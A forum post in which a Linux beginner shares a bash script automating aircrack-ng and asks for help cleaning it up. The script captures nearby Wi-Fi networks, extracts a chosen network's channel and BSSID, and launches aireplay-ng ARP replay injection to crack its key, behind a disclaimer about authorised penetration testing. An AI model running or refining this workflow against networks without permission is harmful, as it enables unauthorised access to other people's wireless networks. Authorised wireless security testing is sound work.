Cleaning up my first bash script
Hi, I'm very new to Linux, and relatively new to the whole computer world, especially the scripting world. I recently wrote a script to help automate aircrack-ng, and would like help cleaning it up. It seems to me there is a lot of extra stuff I had to put in there because I know very few commands, and any help would be much appreciated (:
My script, goes something like this:
#!/bin/bash
# This is my automated aircrack script. It is a tool to aid in
# penetration testing.
#Pause()
#{
# read
#}
Pause()
{
key=""
echo -n "Press enter to continue"
read ENTER
}
echo -n "This is not, I repeat, not, a script to help you crack your neighbors internet.
This is merely designed to aid in penetration testing a wireless access point. Ensure
you have proper permissions to test before performing any tests. By entering [y] you
are agreeing to not use this program illegally. [y/n] "
read DISCLAIMER
if [ "$DISCLAIMER" != "y" ]
then
exit
fi
############## MONITOR CHANNEL
export MONFREQ=`ifconfig|grep mon0`
if [ "$MONFREQ" > 1 ]; then
rm /monitorpackets/packetslib-01*
mkdir /monitorpackets
airodump-ng --write /monitorpackets/packetslib mon0 &
else
rm /monitorpackets/packetslib-01*
mkdir /monitorpackets
airmon-ng start wlan0
airodump-ng --write /monitorpackets/packetslib mon0 &
fi
############# MAC ADDRESS
echo
export MAC=`ifconfig |grep wlan0|grep 'HWaddr'| awk '{ print $5}'`
#################Waiting and killing the background process
echo "Waiting for ESSID choices....."
echo
echo
read -t 5
kill `ps -ef|grep airodump-ng | awk '{ print $2}'`
############################ESSID
awk '{ print $20 }' /monitorpackets/packetslib-01.csv
echo -n "What is the ESSID that you wish to try? "
read ESSID
echo
##########################CHANNEL
cat /monitorpackets/packetslib-01.csv|grep $ESSID|awk '{print $6}' > /monitorpackets/channel
CHANNELINC=$(cat /monitorpackets/channel)
CHANNELCHAR=$(wc -L /monitorpackets/channel|awk '{print $1}')
if [ "$CHANNELCHAR" = 3 ]; then
stringY=$CHANNELINC
echo ${stringY:0:2} > /monitorpackets/channel
CHANNEL=$(cat /monitorpackets/channel)
else
stringY=$CHANNELINC
echo ${stringY:0:1} > /monitorpackets/channel
CHANNEL=$(cat /monitorpackets/channel)
fi
###########################GRAB BSSID
cat /monitorpackets/packetslib-01.csv|grep $ESSID|awk '{print $1}' > /monitorpackets/packetslib-01.csv
BSSIDINC=$(cat /monitorpackets/packetslib-01.csv)
stringZ=$BSSIDINC
echo ${stringZ:0:17} > /monitorpackets/packetslib-01.csv
BSSID=`cat /monitorpackets/packetslib-01.csv`
############### RESULTS
mkdir /monitorpackets/results
xterm -e airodump-ng --channel $CHANNEL --bssid $BSSID --write /monitorpackets/results/$BSSID mon0 &
clear
read -t 5
aireplay-ng --arpreplay 0 -b $BSSID -h $MAC mon0
I put the Pause function in there to help while debugging it.
|